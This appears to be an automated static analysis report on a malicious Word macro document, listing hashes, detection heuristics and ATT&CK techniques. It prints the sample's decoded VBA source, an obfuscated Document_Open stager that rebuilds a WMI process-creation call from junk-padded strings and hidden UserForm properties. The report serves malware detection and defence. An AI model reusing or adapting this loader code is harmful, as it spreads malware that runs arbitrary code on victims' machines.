Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 2a607a1fc7f2c597…

MALICIOUS

Office (OLE)

169.9 KB Created: 2020-08-06 18:32:00 Authoring application: Microsoft Office Word First seen: 2020-08-25
MD5: 3a9682ef726c00ef92e85bd273f8f0dd SHA-1: 664c425cf18a0907a1ff9a98eca97b4d54729d83 SHA-256: 2a607a1fc7f2c597d58569e63a25982ac1b9faf8a197a007e10ef3201e129706
262 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1203 Exploitation for Client Execution

The sample contains VBA macros, including a Document_Open macro and a UserForm hidden-property command stager, which are indicative of malicious intent. The presence of these elements suggests the macro is designed to execute arbitrary code, likely by downloading and running a second-stage payload. The ClamAV detection further supports its malicious classification.

Heuristics 7

  • ClamAV: Doc.Malware.Sagent-9238051-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sagent-9238051-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4067 bytes
SHA-256: 9c81cc4d01ff332180917dd145bc16e0bcee39f15413a17ba3f035e1bad47868
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ZIRHXfvcmrszxiu"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
ELCEPnbzmpmz.ZXMIWpronodosbgljbz
End Sub


Attribute VB_Name = "ELCEPnbzmpmz"
Attribute VB_Base = "0{4D165D86-D721-463B-9890-D366DCBA4078}{38E467BA-06E1-49D6-972E-F3F16BFCF5F3}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function ZXMIWpronodosbgljbz()
ZD7ÁRXn = 1
Do While ZD7ÁRXn < 1 + 9
ZD7ÁRXn = ZD7ÁRXn + 6: DoEvents
Loop
FVUVQsvkfcowc = Chr(ELCEPnbzmpmz.Zoom + ((30 + 60 + 30) / (4 + 4)))
ZD7ÁRXn = 1
Do While ZD7ÁRXn < 1 + 9
ZD7ÁRXn = ZD7ÁRXn + 6: DoEvents
Loop
Dim MQtfr As Integer
MQtfr = Len("WPDQNM")
OCKTAkolabed = "2348*&%7893T289 &*(HUIGSAU76787GSGSG3D2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dw2348*&%7893T289 &*(HUIGSAU76787GSGSG3Di2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dnm2348*&%7893T289 &*(HUIGSAU76787GSGSG3D2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dgm2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dt2348*&%7893T289 &*(HUIGSAU76787GSGSG3D2348*&%7893T289 &*(HUIGSAU76787GSGSG3D" + FVUVQsvkfcowc + "2348*&%7893T289 &*(HUIGSAU76787GSGSG3D2348*&%7893T289 &*(HUIGSAU76787GSGSG3D:2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dw2348*&%7893T289 &*(HUIGSAU76787GSGSG3Din2348*&%7893T289 &*(HUIGSAU76787GSGSG3D2348*&%7893T289 &*(HUIGSAU76787GSGSG3D32348*&%7893T289 &*(HUIGSAU76787GSGSG3D22348*&%7893T289 &*(HUIGSAU76787GSGSG3D_2348*&%7893T289 &*(HUIGSAU76787GSGSG3D" + ELCEPnbzmpmz.MQMDAskvybyq + "2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dro2348*&%7893T289 &*(HUIGSAU76787GSGSG3D2348*&%7893T289 &*(HUIGSAU76787GSGSG3Dce2348*&%7893T289 &*(HUIGSAU76787GSGSG3Ds2348*&%7893T289 &*(HUIGSAU76787GSGSG3Ds2348*&%7893T289 &*(HUIGSAU76787GSGSG3D"
ZD7ÁRXn = 1
Do While ZD7ÁRXn < 1 + 9
ZD7ÁRXn = ZD7ÁRXn + 6: DoEvents
Loop
Dim Oat7ÏCU7À As Variant
YFHUJukakghgckpjgqz = MYZZNigfaredoht(OCKTAkolabed)
Dim k8ÓcbRRJYey As Integer
k8ÓcbRRJYey = Len("nXUm")
Set KECUVpwgjkgperfddi = CreateObject(YFHUJukakghgckpjgqz)
Dim MYsmbE7 As Long
EYOAJpsoxarcif = ELCEPnbzmpmz.QGEVZhmyzldhgbyavf.ControlTipText
Dim VvSOR1Öop As Variant
SAAYRmikqntrbbec = nsbuqwd + (YFHUJukakghgckpjgqz + FVUVQsvkfcowc + ELCEPnbzmpmz.SKFDNwsevxsa.ControlTipText + EYOAJpsoxarcif)
GoTo VB1ÍlR
VB1ÍlR:
FAQDAhbhchhgaxsddv = SAAYRmikqntrbbec + ELCEPnbzmpmz.MQMDAskvybyq
Dim u6ÑPouprUqC As Double
Set TKZNHmodlilsbrdn = ZDLTOulopstxwrqk(FAQDAhbhchhgaxsddv)
Dim h2ÀqGNdl As String
s = Array(n + "jsdd", KECUVpwgjkgperfddi. _
Create(RHPZGrepxvbr, RTPPLvumsmccrowibs, TKZNHmodlilsbrdn), INSN + "dvvew")
GoSub HSO7âRMQ
HSO7âRMQ:
GoTo BGI
Return
BGI:
ZD7ÁRXn = 1
Do While ZD7ÁRXn < 1 + 9
ZD7ÁRXn = ZD7ÁRXn + 6: DoEvents
Loop
End Function
Function ZDLTOulopstxwrqk(SJLOTzxlddgxzhjfsb)
ZD7ÁRXn = 1
Do While ZD7ÁRXn < 1 + 9
ZD7ÁRXn = ZD7ÁRXn + 6: DoEvents
Loop
Set ZDLTOulopstxwrqk = CreateObject(SJLOTzxlddgxzhjfsb)
Dim dgK8Ye As Currency
ZD7ÁRXn = 1
Do While ZD7ÁRXn < 1 + 9
ZD7ÁRXn = ZD7ÁRXn + 6: DoEvents
Loop
ZDLTOulopstxwrqk. _
showwindow = HTUCOuqpxbggapx + WPRMHlfrovmvqwxswi + CWRAUvfwlmfbnus
Dim uebuZa As Variant
End Function
Function MYZZNigfaredoht(DVEGHjscafya)
ZMPFCwynkzgknpfbe = DVEGHjscafya
GoTo OLAE6ÒgyDT
OLAE6ÒgyDT:
PZFDNhlrerpljreq = Split _
(ZMPFCwynkzgknpfbe, "2348*&%7893T289 &*" + "(HUIGSAU76787GSGSG3D")
Dim sQvHE5ÃZ As Integer
sQvHE5ÃZ = Len("cIRwWF")
RLSWEbfwlcsk = ms + Join(PZFDNhlrerpljreq, e2)
GoTo cDCrGvM
cDCrGvM:
MYZZNigfaredoht = RLSWEbfwlcsk
Dim V5Ü8ÍA As Variant
End Function
Function RHPZGrepxvbr()
kqhlwie = ELCEPnbzmpmz.WSUNTacgreruy.Pages(3 / 3).Caption
GoSub ZdXKX
ZdXKX:
GoTo U3Ä6PeXB1ÈvH
Return
U3Ä6PeXB1ÈvH:
RHPZGrepxvbr = MYZZNigfaredoht(kqhlwie)
GoTo aknR
aknR:
End Function

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